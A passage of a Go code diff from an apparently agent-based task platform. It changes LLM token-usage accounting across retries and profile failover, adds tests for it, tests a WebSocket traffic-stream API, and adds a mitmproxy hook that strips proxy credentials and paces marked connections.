defer func() { _, _ = m.pg.Exec(`DELETE FROM findings WHERE task_id=$1`, taskID) }()
if _, err := m.pg.Exec(`
INSERT INTO findings(task_id, severity) VALUES ($1,'critical'), ($1,'high'), ($1,'high'), ($1,'low'), ($2,'medium')`,
taskID, otherID); err != nil {
t.Fatal(err)
}
ctx, cancel := context.WithCancel(context.Background())
s := New(ctx, m, t.TempDir(), t.TempDir(), t.TempDir())
defer stopTestServer(t, s, cancel)
@@ -45,7 +60,19 @@ VALUES ($1,'goal','{}','met'), ($1,'goal','{}','open')`, task.ExpID); err != nil
if err != nil {
t.Fatal(err)
}
// After New: restoring the task resets running intents to open.
if _, err := m.pg.Exec(`
INSERT INTO exploration_nodes(exploration_id, kind, payload, state)
VALUES ($1,'intent','{}','running'), ($1,'intent','{}','done')`, task.ExpID); err != nil {
t.Fatal(err)
}
type findingCounts struct {
Critical int `json:"critical"`
High int `json:"high"`
Medium int `json:"medium"`
Low int `json:"low"`
}
var probe struct {
Tokens struct {
InputTokens int `json:"input_tokens"`
@@ -53,8 +80,10 @@ VALUES ($1,'goal','{}','met'), ($1,'goal','{}','open')`, task.ExpID); err != nil
CacheReadTokens int `json:"cache_read_tokens"`
CacheWriteTokens int `json:"cache_write_tokens"`
} `json:"tokens"`
GoalsMet int `json:"goals_met"`
GoalsTotal int `json:"goals_total"`
GoalsMet int `json:"goals_met"`
GoalsTotal int `json:"goals_total"`
InFlight int `json:"in_flight"`
Findings findingCounts `json:"findings"`
}
req := httptest.NewRequest(http.MethodGet, "/api/tasks/"+task.ID, nil)
req.Header.Set("Authorization", "Bearer "+token)
@@ -73,6 +102,9 @@ VALUES ($1,'goal','{}','met'), ($1,'goal','{}','open')`, task.ExpID); err != nil
if probe.GoalsMet != 1 || probe.GoalsTotal != 2 {
t.Fatalf("detail goal progress not filled from metrics: %d/%d", probe.GoalsMet, probe.GoalsTotal)
}
if probe.InFlight != 1 || probe.Findings != (findingCounts{Critical: 1, High: 2, Low: 1}) {
t.Fatalf("detail in-flight/findings not filled from this task's metrics: %d %+v", probe.InFlight, probe.Findings)
}
// The list endpoint must report the same numbers for the same task.
listReq := httptest.NewRequest(http.MethodGet, "/api/tasks", nil)
@@ -89,27 +121,32 @@ VALUES ($1,'goal','{}','met'), ($1,'goal','{}','open')`, task.ExpID); err != nil
InputTokens int `json:"input_tokens"`
OutputTokens int `json:"output_tokens"`
} `json:"tokens"`
GoalsMet int `json:"goals_met"`
GoalsTotal int `json:"goals_total"`
GoalsMet int `json:"goals_met"`
GoalsTotal int `json:"goals_total"`
InFlight int `json:"in_flight"`
Findings findingCounts `json:"findings"`
} `json:"tasks"`
}
if err := json.Unmarshal(listRec.Body.Bytes(), &listed); err != nil {
t.Fatal(err)
}
found := false
found, foundOther := false, false
for _, lt := range listed.Tasks {
if lt.ID == other.ID {
foundOther = lt.Findings == (findingCounts{Medium: 1})
}
if lt.ID != task.ID {
continue
}
found = true
if lt.Tokens.InputTokens != probe.Tokens.InputTokens ||
lt.Tokens.OutputTokens != probe.Tokens.OutputTokens ||
lt.GoalsMet != probe.GoalsMet || lt.GoalsTotal != probe.GoalsTotal {
t.Fatalf("list and detail metrics disagree: list=%+v/%d detail=%+v/%d",
lt.Tokens, lt.GoalsMet, probe.Tokens, probe.GoalsTotal)
lt.GoalsMet != probe.GoalsMet || lt.GoalsTotal != probe.GoalsTotal ||
lt.InFlight != probe.InFlight || lt.Findings != probe.Findings {
t.Fatalf("list and detail metrics disagree: list=%+v detail=%+v", lt, probe)
}
}
if !found {
t.Fatalf("task %s missing from list response", task.ID)
if !found || !foundOther {
t.Fatalf("list misses a task or its metrics: task %s found=%v, task %s with its findings=%v", task.ID, found, other.ID, foundOther)
}
}
+75 -19
View File
@@ -317,10 +317,14 @@ func (r *taskLLMRuntime) Complete(ctx context.Context, req llm.CompletionRequest
}
func completeTaskLLM(ctx context.Context, taskID string, req llm.CompletionRequest, hooks taskLLMStreamHooks) (llm.Message, string, llm.Usage, error) {
// total is the usage of the logical call: the sum of every physical attempt
// (same-provider retries and profile failover). Each attempt is already billed
// once by the recorder below; this sum only feeds the caller's accounting.
var total llm.Usage
for {
selection, err := hooks.current(ctx)
if err != nil {
return llm.Message{}, "", llm.Usage{}, err
return llm.Message{}, "", total, err
}
var (
msg llm.Message
@@ -333,13 +337,14 @@ func completeTaskLLM(ctx context.Context, taskID string, req llm.CompletionReque
retries, backoffOf := sameProviderRetryPolicy(selection.retry)
for attempt := 0; ; attempt++ {
msg, sr, usage, callErr = selection.provider.Complete(ctx, req)
total.Add(usage)
if callErr != nil && ctx.Err() == nil &&
attempt < retries && isRetryableStreamError(callErr) {
backoff := backoffOf(attempt)
log.Printf("[task-llm] task %s non-streaming call failed, retrying on the same provider after %v (%d/%d): %v",
taskID, backoff, attempt+1, retries, callErr)
if sleepCtx(ctx, backoff) {
break // ctx cancelled during backoff → stop retrying
return llm.Message{}, "", total, ctx.Err() // cancelled during backoff → stop
}
continue
}
@@ -347,7 +352,7 @@ func completeTaskLLM(ctx context.Context, taskID string, req llm.CompletionReque
}
if callErr == nil {
resetLLMFailStreak(taskID, selection.profileID)
return msg, sr, usage, nil
return msg, sr, total, nil
}
// Non-quota failures on a chain profile escalate after a consecutive
// streak (#99): same advance path as quota exhaust, truthful reason.
@@ -356,31 +361,31 @@ func completeTaskLLM(ctx context.Context, taskID string, req llm.CompletionReque
cause := fmt.Errorf("profile #%d failed %d consecutive calls (last: %w)", selection.profileID, llmFailStreakThreshold, callErr)
transition, markErr := hooks.exhaust(selection, cause)
if markErr != nil {
return llm.Message{}, "", llm.Usage{}, fmt.Errorf("mark profile exhausted after %v: %w", callErr, markErr)
return llm.Message{}, "", total, fmt.Errorf("mark profile exhausted after %v: %w", callErr, markErr)
}
if transition.Advanced && !transition.Stale && hooks.transition != nil {
hooks.transition(selection, transition, callErr)
}
if !transition.Stale && transition.NextProfileID == nil {
return llm.Message{}, "", llm.Usage{}, &taskLLMError{taskID: taskID, chainExhausted: transition.ChainExhausted, cause: callErr}
return llm.Message{}, "", total, &taskLLMError{taskID: taskID, chainExhausted: transition.ChainExhausted, cause: callErr}
}
continue // replay the same logical request on the next profile
}
return llm.Message{}, "", llm.Usage{}, callErr
return llm.Message{}, "", total, callErr
}
// profileID=0: the explicit chain was cleared; non-quota error: pass through. Neither changes the task failover state.
if selection.profileID == 0 || !isQuotaExhaustedError(callErr) {
return llm.Message{}, "", llm.Usage{}, callErr
return llm.Message{}, "", total, callErr
}
transition, markErr := hooks.exhaust(selection, callErr)
if markErr != nil {
return llm.Message{}, "", llm.Usage{}, fmt.Errorf("mark profile quota exhausted after %v: %w", callErr, markErr)
return llm.Message{}, "", total, fmt.Errorf("mark profile quota exhausted after %v: %w", callErr, markErr)
}
if transition.Advanced && !transition.Stale && hooks.transition != nil {
hooks.transition(selection, transition, callErr)
}
if !transition.Stale && transition.NextProfileID == nil {
return llm.Message{}, "", llm.Usage{}, &taskLLMError{taskID: taskID, chainExhausted: transition.ChainExhausted, cause: callErr}
return llm.Message{}, "", total, &taskLLMError{taskID: taskID, chainExhausted: transition.ChainExhausted, cause: callErr}
}
// No output has been delivered to the caller, so replaying the same logical request on the next profile is safe.
}
@@ -397,6 +402,35 @@ func streamTaskLLM(ctx context.Context, taskID string, req llm.CompletionRequest
committed := false
var pending []llm.StreamEvent
var streamErr error
// The caller's llm.Accumulator sums usage across the whole logical call
// (every attempt and profile): message_start is added, message_delta is
// folded with MergeEcho. Folding one attempt's echo against the sum of
// earlier attempts would lose input/cache tokens, so each attempt's echoes
// are normalized here against that attempt alone and only the increment
// is passed on, as a message_start. The recorder below already billed the
// physical attempt; this only shapes what the caller adds up.
var attemptUsage llm.Usage
forward := func(event llm.StreamEvent) bool {
switch event.Type {
case llm.SEMessageStart:
attemptUsage.Add(event.Usage)
case llm.SEMessageDelta:
next := attemptUsage
next.MergeEcho(event.Usage)
inc := llm.Usage{
InputTokens: next.InputTokens - attemptUsage.InputTokens,
OutputTokens: next.OutputTokens - attemptUsage.OutputTokens,
CacheReadTokens: next.CacheReadTokens - attemptUsage.CacheReadTokens,
CacheWriteTokens: next.CacheWriteTokens - attemptUsage.CacheWriteTokens,
}
attemptUsage = next
if inc != (llm.Usage{}) && !yield(llm.StreamEvent{Type: llm.SEMessageStart, Usage: inc}, nil) {
return false
}
event.Usage = llm.Usage{}
}
return yield(event, nil)
}
retries, backoffOf := sameProviderRetryPolicy(selection.retry)
// Same-provider safe-window retry: a transient failure before committed
// (nothing delivered to the caller yet) can be replayed verbatim without
@@ -405,6 +439,7 @@ func streamTaskLLM(ctx context.Context, taskID string, req llm.CompletionRequest
committed = false
pending = nil
streamErr = nil
attemptUsage = llm.Usage{}
for event, err := range selection.provider.Stream(ctx, req) {
if err != nil {
streamErr = err
@@ -416,24 +451,34 @@ func streamTaskLLM(ctx context.Context, taskID string, req llm.CompletionRequest
}
if !committed {
for _, buffered := range pending {
if !yield(buffered, nil) {
if !forward(buffered) {
return
}
}
pending = nil
committed = true
}
if !yield(event, nil) {
if !forward(event) {
return
}
}
if streamErr != nil && !committed {
// A failed uncommitted attempt delivers none of its events (they are
// never replayed), but the usage it reported survives as one
// message_start so the logical call still counts it.
if u := pendingUsage(pending); u != (llm.Usage{}) && !yield(llm.StreamEvent{Type: llm.SEMessageStart, Usage: u}, nil) {
return
}
pending = nil
}
if streamErr != nil && !committed && ctx.Err() == nil &&
attempt < retries && isRetryableStreamError(streamErr) {
backoff := backoffOf(attempt)
log.Printf("[task-llm] task %s pre-commit stream failure, retrying on the same provider after %v (%d/%d): %v",
taskID, backoff, attempt+1, retries, streamErr)
if sleepCtx(ctx, backoff) {
break // ctx cancelled during backoff → stop retrying
yield(llm.StreamEvent{}, ctx.Err()) // cancelled during backoff → stop
return
}
continue
}
@@ -442,7 +487,7 @@ func streamTaskLLM(ctx context.Context, taskID string, req llm.CompletionRequest
if streamErr == nil {
resetLLMFailStreak(taskID, selection.profileID)
for _, buffered := range pending {
if !yield(buffered, nil) {
if !forward(buffered) {
return
}
}
@@ -474,11 +519,6 @@ func streamTaskLLM(ctx context.Context, taskID string, req llm.CompletionRequest
// bundle was still in use. Agent/global fallback errors follow the legacy
// behavior and never mutate task failover state.
if selection.profileID == 0 || !isQuotaExhaustedError(streamErr) {
for _, buffered := range pending {
if !yield(buffered, nil) {
return
}
}
yield(llm.StreamEvent{}, streamErr)
return
}
@@ -508,9 +548,25 @@ func streamTaskLLM(ctx context.Context, taskID string, req llm.CompletionRequest
}
}
// pendingUsage is the usage the buffered (uncommitted) events of one attempt
// reported. Only message_start can be buffered: message_delta commits.
func pendingUsage(pending []llm.StreamEvent) llm.Usage {
var u llm.Usage
for _, ev := range pending {
if ev.Type == llm.SEMessageStart {
u.Add(ev.Usage)
}
}
return u
}
// streamEventCommitsOutput reports whether delivering event makes the attempt
// unreplayable. Signed and redacted thinking and tool-use signatures are opaque
// output the model bound to this exact response, so they commit like text.
func streamEventCommitsOutput(event llm.StreamEvent) bool {
switch event.Type {
case llm.SETextDelta, llm.SEThinkingDelta, llm.SEToolInputJSON:
case llm.SETextDelta, llm.SEThinkingDelta, llm.SEToolInputJSON,
llm.SEThinkingSignature, llm.SERedactedThinking, llm.SEToolUseSignature:
return event.Text != ""
case llm.SEToolUseStart, llm.SEMessageDelta, llm.SEMessageStop:
return true
-1
View File
@@ -77,4 +77,3 @@ func TestEscalationAdvancesAfterConsecutiveFailures(t *testing.T) {
t.Fatalf("exhaust calls=%d want 2", exhaustCalls)
}
}
+12
View File
@@ -184,6 +184,18 @@ func TestApplyTaskArchiveBlocker(t *testing.T) {
if !strings.Contains(string(raw), `"archive_blocked_by_task_id":"11"`) {
t.Fatalf("archive blocker missing from payload: %s", raw)
}
byID := taskDTO(&Task{ID: "7"}, "paused")
applyTaskArchiveBlockerID(&byID, 12)
if byID.ArchiveBlockedBy != "12" {
t.Fatalf("archive blocker by id=%q, want 12", byID.ArchiveBlockedBy)
}
none := taskDTO(&Task{ID: "7"}, "paused")
applyTaskArchiveBlockerID(&none, 0)
if none.ArchiveBlockedBy != "" {
t.Fatalf("no blocker set %q", none.ArchiveBlockedBy)
}
applyTaskArchiveBlockerID(nil, 12) // must not panic
}
func TestTaskLLMStateSnapshotIsConcurrentAndDetached(t *testing.T) {
+286
View File
@@ -0,0 +1,286 @@
package server
import (
"context"
"errors"
"fmt"
"iter"
"testing"
"time"
"github.com/Autumn-27/artex/agent"
"github.com/Autumn-27/artex/db"
"github.com/Autumn-27/artex/llmrec"
"github.com/Autumn-27/norma/llm"
)
// Usage reported by one failed attempt, and by a successful one. A stream
// reports the input side in message_start and echoes it, with the output, in
// message_delta; the atomic path returns the attempt's normalized usage.
var (
failedAttemptUsage = llm.Usage{InputTokens: 11, OutputTokens: 2, CacheReadTokens: 3, CacheWriteTokens: 2}
okStartUsage = llm.Usage{InputTokens: 13, CacheReadTokens: 3, CacheWriteTokens: 2}
okDeltaUsage = llm.Usage{InputTokens: 17, OutputTokens: 5, CacheReadTokens: 4, CacheWriteTokens: 2}
okAttemptUsage = llm.Usage{InputTokens: 17, OutputTokens: 5, CacheReadTokens: 4, CacheWriteTokens: 2}
)
// usageAttemptProvider fails its first fail attempts (always, when fail < 0)
// after reporting failedAttemptUsage, then answers "done".
type usageAttemptProvider struct {
fail int
failErr error
onFail func()
// extra events a failed stream attempt emits before its error.
failEvents []llm.StreamEvent
calls int
}
func (p *usageAttemptProvider) failing() bool {
p.calls++
failed := p.fail < 0 || p.calls <= p.fail
if failed && p.onFail != nil {
p.onFail()
}
return failed
}
func (p *usageAttemptProvider) Complete(context.Context, llm.CompletionRequest) (llm.Message, string, llm.Usage, error) {
if p.failing() {
return llm.Message{}, "", failedAttemptUsage, p.failErr
}
return llm.Message{Role: llm.RoleAssistant, Content: []llm.ContentBlock{llm.TextBlock("done")}}, "end_turn", okAttemptUsage, nil
}
func (p *usageAttemptProvider) Stream(context.Context, llm.CompletionRequest) iter.Seq2[llm.StreamEvent, error] {
return func(yield func(llm.StreamEvent, error) bool) {
if p.failing() {
events := append([]llm.StreamEvent{{Type: llm.SEMessageStart, Usage: failedAttemptUsage}}, p.failEvents...)
for _, ev := range events {
if !yield(ev, nil) {
return
}
}
yield(llm.StreamEvent{}, p.failErr)
return
}
for _, ev := range []llm.StreamEvent{
{Type: llm.SEMessageStart, Usage: okStartUsage},
{Type: llm.SETextDelta, Text: "done"},
{Type: llm.SEMessageDelta, StopReason: "end_turn", Usage: okDeltaUsage},
{Type: llm.SEMessageStop},
} {
if !yield(ev, nil) {
return
}
}
}
}
// logicalResult is what the SDK sees for one logical call.
type logicalResult struct {
usage llm.Usage
text string
events []llm.StreamEvent
err error
}
func runLogicalCall(ctx context.Context, stream bool, taskID string, hooks taskLLMStreamHooks) logicalResult {
if !stream {
msg, _, usage, err := completeTaskLLM(ctx, taskID, llm.CompletionRequest{}, hooks)
return logicalResult{usage: usage, text: msg.Text(), err: err}
}
var r logicalResult
acc := llm.NewAccumulator()
for ev, err := range streamTaskLLM(ctx, taskID, llm.CompletionRequest{}, hooks) {
if err != nil {
r.err = err
break
}
r.events = append(r.events, ev)
acc.Add(ev)
}
r.usage, r.text = acc.Usage, acc.Message().Text()
return r
}
func singleProfileHooks(p llm.Provider, retry agent.RetryConfig) taskLLMStreamHooks {
return taskLLMStreamHooks{
current: func(context.Context) (taskLLMSelection, error) {
return taskLLMSelection{provider: p, retry: retry}, nil
},
exhaust: func(taskLLMSelection, error) (db.TaskLLMTransition, error) {
return db.TaskLLMTransition{}, nil
},
}
}
func sumUsage(us ...llm.Usage) llm.Usage {
var t llm.Usage
for _, u := range us {
t.Add(u)
}
return t
}
var usageModes = []struct {
name string
stream bool
}{{"atomic", false}, {"stream", true}}
func TestTaskLLMRetrySumsAttemptUsage(t *testing.T) {
for _, m := range usageModes {
t.Run(m.name, func(t *testing.T) {
p := &usageAttemptProvider{fail: 1, failErr: errors.New("connection reset by peer")}
r := runLogicalCall(t.Context(), m.stream, "p12-retry", singleProfileHooks(p, agent.RetryConfig{StreamAttempts: 1, StreamInterval: time.Millisecond}))
if r.err != nil {
t.Fatal(r.err)
}
want := sumUsage(failedAttemptUsage, okAttemptUsage) // {28 7 7 4}
if r.usage != want || p.calls != 2 || r.text != "done" {
t.Fatalf("usage=%+v want %+v, calls=%d, text=%q", r.usage, want, p.calls, r.text)
}
})
}
}
func TestTaskLLMExhaustedRetriesReturnSummedUsage(t *testing.T) {
for _, m := range usageModes {
t.Run(m.name, func(t *testing.T) {
p := &usageAttemptProvider{fail: -1, failErr: errors.New("connection reset by peer")}
r := runLogicalCall(t.Context(), m.stream, "p12-exhausted", singleProfileHooks(p, agent.RetryConfig{StreamAttempts: 1, StreamInterval: time.Millisecond}))
if r.err == nil || r.err.Error() != "connection reset by peer" {
t.Fatalf("err=%v", r.err)
}
want := sumUsage(failedAttemptUsage, failedAttemptUsage)
if r.usage != want || p.calls != 2 {
t.Fatalf("usage=%+v want %+v, calls=%d", r.usage, want, p.calls)
}
})
}
}
func TestTaskLLMProfileFailoverSumsUsage(t *testing.T) {
for _, m := range usageModes {
t.Run(m.name, func(t *testing.T) {
first := &usageAttemptProvider{fail: -1, failErr: errors.New("openai: status 402: insufficient_quota")}
second := &usageAttemptProvider{}
active := int64(11)
hooks := taskLLMStreamHooks{
current: func(context.Context) (taskLLMSelection, error) {
if active == 11 {
return taskLLMSelection{profileID: 11, provider: first}, nil
}
return taskLLMSelection{profileID: 22, provider: second}, nil
},
exhaust: func(taskLLMSelection, error) (db.TaskLLMTransition, error) {
active = 22
next := active
return db.TaskLLMTransition{PreviousProfileID: 11, NextProfileID: &next, Advanced: true}, nil
},
}
r := runLogicalCall(t.Context(), m.stream, "p12-failover-"+m.name, hooks)
if r.err != nil {
t.Fatal(r.err)
}
want := sumUsage(failedAttemptUsage, okAttemptUsage)
if r.usage != want || first.calls != 1 || second.calls != 1 || r.text != "done" {
t.Fatalf("usage=%+v want %+v, calls first=%d second=%d, text=%q", r.usage, want, first.calls, second.calls, r.text)
}
})
}
}
func TestTaskLLMCancelDuringBackoffStops(t *testing.T) {
for _, m := range usageModes {
t.Run(m.name, func(t *testing.T) {
ctx, cancel := context.WithCancel(t.Context())
defer cancel()
p := &usageAttemptProvider{fail: -1, failErr: errors.New("connection reset by peer")}
// Cancel once the retry is waiting out its (long) backoff.
p.onFail = func() { time.AfterFunc(20*time.Millisecond, cancel) }
r := runLogicalCall(ctx, m.stream, "p12-cancel", singleProfileHooks(p, agent.RetryConfig{StreamAttempts: 2, StreamInterval: time.Minute}))
if !errors.Is(r.err, context.Canceled) {
t.Fatalf("err=%v, want context.Canceled", r.err)
}
if p.calls != 1 || r.usage != failedAttemptUsage {
t.Fatalf("calls=%d usage=%+v", p.calls, r.usage)
}
})
}
}
func TestTaskLLMUncommittedStreamAttemptKeepsUsageWithoutReplay(t *testing.T) {
p := &usageAttemptProvider{
fail: 1,
failErr: errors.New("anthropic: overloaded_error"),
// Buffered, non-committing events of the failed attempt.
failEvents: []llm.StreamEvent{{Type: llm.SEThinkingDelta}, {Type: llm.SEToolInputJSON}},
}
r := runLogicalCall(t.Context(), true, "p12-uncommitted", singleProfileHooks(p, agent.RetryConfig{StreamAttempts: 1, StreamInterval: time.Millisecond}))
if r.err != nil {
t.Fatal(r.err)
}
if want := sumUsage(failedAttemptUsage, okAttemptUsage); r.usage != want {
t.Fatalf("usage=%+v want %+v", r.usage, want)
}
if r.text != "done" {
t.Fatalf("text=%q, want the second attempt's only", r.text)
}
// The failed attempt contributes one usage-only message_start, nothing else.
if len(r.events) == 0 || r.events[0].Type != llm.SEMessageStart || r.events[0].Usage != failedAttemptUsage {
t.Fatalf("first event %+v", r.events)
}
for _, ev := range r.events {
if ev.Type == llm.SEThinkingDelta || ev.Type == llm.SEToolInputJSON {
t.Fatalf("buffered event of the failed attempt was delivered: %+v", r.events)
}
}
}
func TestTaskLLMOpaqueThinkingCommitsStream(t *testing.T) {
defer withZeroRetryBackoff()()
for _, kind := range []llm.StreamEventType{llm.SEThinkingSignature, llm.SERedactedThinking, llm.SEToolUseSignature} {
t.Run(string(kind), func(t *testing.T) {
if !streamEventCommitsOutput(llm.StreamEvent{Type: kind, Text: "opaque"}) {
t.Fatalf("%s does not commit", kind)
}
// A retryable failure after the opaque block is surfaced, not replayed.
p := &scriptedLLMProvider{events: []llm.StreamEvent{{Type: kind, Text: "opaque"}}, err: errors.New("connection reset by peer")}
events, err := collectTaskLLMStream(streamTaskLLM(t.Context(), "p12-opaque", llm.CompletionRequest{}, singleProfileHooks(p, agent.RetryConfig{})))
if err == nil || p.calls != 1 || len(events) != 1 || events[0].Type != kind {
t.Fatalf("calls=%d events=%+v err=%v", p.calls, events, err)
}
})
}
}
// The recorder below the task router writes one llm_usage row per physical
// attempt; summing the attempts for the logical call adds no row.
func TestTaskLLMRetryKeepsOneLedgerRowPerPhysicalCall(t *testing.T) {
m, err := NewManager(t.TempDir(), "")
if err != nil {
t.Skipf("postgres unavailable (%v) — skipping", err)
}
defer m.Close()
pg := m.PG()
for _, mode := range usageModes {
t.Run(mode.name, func(t *testing.T) {
taskID := fmt.Sprintf("p12-ledger-%s-%d", mode.name, time.Now().UnixNano())
t.Cleanup(func() { _, _ = pg.Exec(`DELETE FROM llm_usage WHERE task_id=$1`, taskID) })
p := &usageAttemptProvider{fail: 1, failErr: errors.New("connection reset by peer")}
rec := llmrec.Wrap(p, pg, "test-model", "test-profile", "", "", func() bool { return false })
ctx := llmrec.WithTaskID(t.Context(), taskID)
r := runLogicalCall(ctx, mode.stream, taskID, singleProfileHooks(rec, agent.RetryConfig{StreamAttempts: 1, StreamInterval: time.Millisecond}))
if r.err != nil {
t.Fatal(r.err)
}
var rows, failed int
if err := pg.QueryRow(`SELECT count(*), count(*) FILTER (WHERE status='error') FROM llm_usage WHERE task_id=$1`, taskID).Scan(&rows, &failed); err != nil {
t.Fatal(err)
}
if rows != 2 || failed != 1 || p.calls != 2 {
t.Fatalf("llm_usage rows=%d (error %d), physical calls=%d; want 2 rows, 1 error", rows, failed, p.calls)
}
})
}
}
+1 -1
View File
@@ -5,9 +5,9 @@ import (
"encoding/json"
"testing"
actool "github.com/Autumn-27/norma/tool"
"github.com/Autumn-27/artex/agent"
"github.com/Autumn-27/artex/db"
actool "github.com/Autumn-27/norma/tool"
)
func names(tools []actool.CoreTool) map[string]actool.CoreTool {
+89
View File
@@ -0,0 +1,89 @@
package server
import (
"encoding/json"
"testing"
)
func TestTrafficStreamRoute(t *testing.T) {
s, request := ingestServer(t)
db := s.m.Traffic().DB()
if _, err := db.Exec(`INSERT INTO exchanges(id,ts,host,method,url_template,url,status,content_type,req_len,resp_len,path)
VALUES('1-0001',1,'ws.example.com','GET','/ws','wss://ws.example.com/ws',101,'websocket',0,0,'')`); err != nil {
t.Fatal(err)
}
if _, err := db.Exec(`INSERT INTO exchange_bodies(id,req_head,resp_head) VALUES('1-0001','GET /ws HTTP/1.1\n','HTTP/1.1 101 Switching Protocols\n')`); err != nil {
t.Fatal(err)
}
const total = 250
tx, err := db.Begin()
if err != nil {
t.Fatal(err)
}
for i := 1; i <= total; i++ {
kind, payload := 1, []byte("hello")
if i%2 == 0 {
kind, payload = 2, []byte{0, 1, 2}
}
if _, err := tx.Exec(`INSERT INTO stream_messages(exchange_id,seq,ts,direction,kind,size,payload) VALUES('1-0001',?,1,'c2s',?,?,?)`, i, kind, len(payload), payload); err != nil {
t.Fatal(err)
}
}
if err := tx.Commit(); err != nil {
t.Fatal(err)
}
type page struct {
Items []struct {
Seq int64 `json:"seq"`
Type string `json:"type"`
Payload string `json:"payload"`
Encoding string `json:"encoding"`
} `json:"items"`
Total int `json:"total"`
}
get := func(path string, wantStatus int) page {
t.Helper()
w := request("GET", path, "")
if w.Code != wantStatus {
t.Fatalf("GET %s = %d %s, want %d", path, w.Code, w.Body, wantStatus)
}
var p page
if wantStatus == 200 {
if err := json.Unmarshal(w.Body.Bytes(), &p); err != nil {
t.Fatalf("GET %s: %v in %s", path, err, w.Body)
}
}
return p
}
get("/api/traffic/stream", 400)
if p := get("/api/traffic/stream?exchange=nope", 200); p.Items == nil || len(p.Items) != 0 || p.Total != 0 {
t.Fatalf("unknown exchange = %+v, want items [] and total 0", p)
}
p := get("/api/traffic/stream?exchange=1-0001", 200)
if p.Total != total || len(p.Items) != 50 || p.Items[0].Seq != 1 {
t.Fatalf("default page: total %d, %d items, first seq %d", p.Total, len(p.Items), p.Items[0].Seq)
}
if first, second := p.Items[0], p.Items[1]; first.Type != "text" || first.Payload != "hello" || second.Type != "binary" || second.Encoding != "base64" || second.Payload != "AAEC" {
t.Fatalf("payloads %+v %+v", first, second)
}
if p := get("/api/traffic/stream?exchange=1-0001&limit=500", 200); len(p.Items) != 200 {
t.Fatalf("limit=500 returned %d items, want the 200 cap", len(p.Items))
}
if p := get("/api/traffic/stream?exchange=1-0001&offset=-5&limit=1", 200); len(p.Items) != 1 || p.Items[0].Seq != 1 {
t.Fatalf("negative offset: %+v, want seq 1", p.Items)
}
if p := get("/api/traffic/stream?exchange=1-0001&offset=248&limit=10", 200); len(p.Items) != 2 || p.Items[0].Seq != 249 {
t.Fatalf("last page: %+v, want seqs 249 and 250", p.Items)
}
w := request("GET", "/api/traffic/exchange?id=1-0001", "")
var ex struct {
StreamCount int `json:"stream_count"`
StreamKind string `json:"stream_kind"`
}
if err := json.Unmarshal(w.Body.Bytes(), &ex); err != nil || w.Code != 200 || ex.StreamCount != total || ex.StreamKind != "websocket" {
t.Fatalf("exchange = %d %s", w.Code, w.Body)
}
}
+4 -1
View File
@@ -32,8 +32,11 @@ func (s SideQuestionService) Answer(ctx context.Context, req llm.CompletionReque
out.Text += ev.Text
case llm.SEToolUseStart:
out.ToolUse = true
case llm.SEMessageStart, llm.SEMessageDelta:
case llm.SEMessageStart:
out.Usage.Add(ev.Usage)
case llm.SEMessageDelta:
// message_delta may echo message_start's input side: MergeEcho, not Add.
out.Usage.MergeEcho(ev.Usage)
case llm.SEMessageStop:
complete = true
}
+52
View File
@@ -0,0 +1,52 @@
package sidequestion
import (
"context"
"iter"
"testing"
"github.com/Autumn-27/norma/llm"
)
// A streamed side answer counts message_delta's echo of the input side once.
func TestAnswerStreamUsageEchoCountedOnce(t *testing.T) {
for _, tc := range []struct {
name string
start, delta llm.Usage
want llm.Usage
}{
{"full_echo",
llm.Usage{InputTokens: 23, CacheReadTokens: 5, CacheWriteTokens: 3},
llm.Usage{InputTokens: 23, CacheReadTokens: 5, CacheWriteTokens: 3, OutputTokens: 5},
llm.Usage{InputTokens: 23, OutputTokens: 5, CacheReadTokens: 5, CacheWriteTokens: 3}},
{"partial_echo",
llm.Usage{InputTokens: 740, CacheReadTokens: 200, CacheWriteTokens: 40},
llm.Usage{InputTokens: 500, OutputTokens: 77},
llm.Usage{InputTokens: 740, OutputTokens: 77, CacheReadTokens: 200, CacheWriteTokens: 40}},
{"no_echo",
llm.Usage{InputTokens: 23, CacheReadTokens: 5, CacheWriteTokens: 3},
llm.Usage{OutputTokens: 5},
llm.Usage{InputTokens: 23, OutputTokens: 5, CacheReadTokens: 5, CacheWriteTokens: 3}},
} {
t.Run(tc.name, func(t *testing.T) {
p := fakeProvider{stream: func(context.Context, llm.CompletionRequest) iter.Seq2[llm.StreamEvent, error] {
return func(yield func(llm.StreamEvent, error) bool) {
for _, ev := range []llm.StreamEvent{
{Type: llm.SEMessageStart, Usage: tc.start},
{Type: llm.SETextDelta, Text: "answer"},
{Type: llm.SEMessageDelta, StopReason: "end_turn", Usage: tc.delta},
{Type: llm.SEMessageStop},
} {
if !yield(ev, nil) {
return
}
}
}
}}
out, err := (SideQuestionService{Provider: p}).Answer(t.Context(), llm.CompletionRequest{}, true, nil)
if err != nil || out.Text != "answer" || out.Usage != tc.want {
t.Fatalf("answer=%+v err=%v, want usage %+v", out, err, tc.want)
}
})
}
}
+63
View File
@@ -0,0 +1,63 @@
package traffic
import (
"context"
"log"
"net/http"
"time"
"github.com/Autumn-27/artex/egress"
mproxy "github.com/lqqyt2423/go-mitmproxy/proxy"
)
// paceWaitMax bounds the pacing wait of one request. Past it the request is
// sent unpaced: pacing never blocks a command indefinitely.
const paceWaitMax = 30 * time.Second
// Requestheaders runs for every request the proxy sees: the CONNECT that opens
// a tunnel, each request inside an intercepted tunnel, and each plain-HTTP
// request. The recording proxy takes no credentials, so a Proxy-Authorization
// header is only ever meant for it (clients send the proxy URL's userinfo
// there): it is dropped here, before anything is forwarded, and never reaches
// the target or the recording. When it carries the pace marker
// (egress.PaceUser), the client connection is marked; every request on it,
// including those inside its tunnel, is then paced by the current noise
// profile before it goes upstream. Unmarked connections are not paced here.
func (s *sink) Requestheaders(f *mproxy.Flow) {
if f.Request == nil || f.ConnContext == nil || f.ConnContext.ClientConn == nil {
return
}
id := f.ConnContext.ClientConn.Id
if egress.IsPaceMarker(f.Request.Header.Get("Proxy-Authorization")) {
s.paced.Store(id, struct{}{})
}
f.Request.Header.Del("Proxy-Authorization")
if f.Request.Method == http.MethodConnect || f.Request.URL == nil {
return
}
if _, marked := s.paced.Load(id); marked {
pace(f)
}
}
// ClientDisconnected forgets a closed connection's mark.
func (s *sink) ClientDisconnected(c *mproxy.ClientConn) {
if c != nil {
s.paced.Delete(c.Id)
}
}
// pace waits for the request's host under the current noise profile, bounded
// by paceWaitMax and by the request's own context. Off returns at once.
func pace(f *mproxy.Flow) {
ctx := context.Background()
if raw := f.Request.Raw(); raw != nil {
ctx = raw.Context()
}
ctx, cancel := context.WithTimeout(ctx, paceWaitMax)
defer cancel()
host := egress.HostKey(f.Request.URL)
if err := egress.Wait(ctx, host); err != nil {
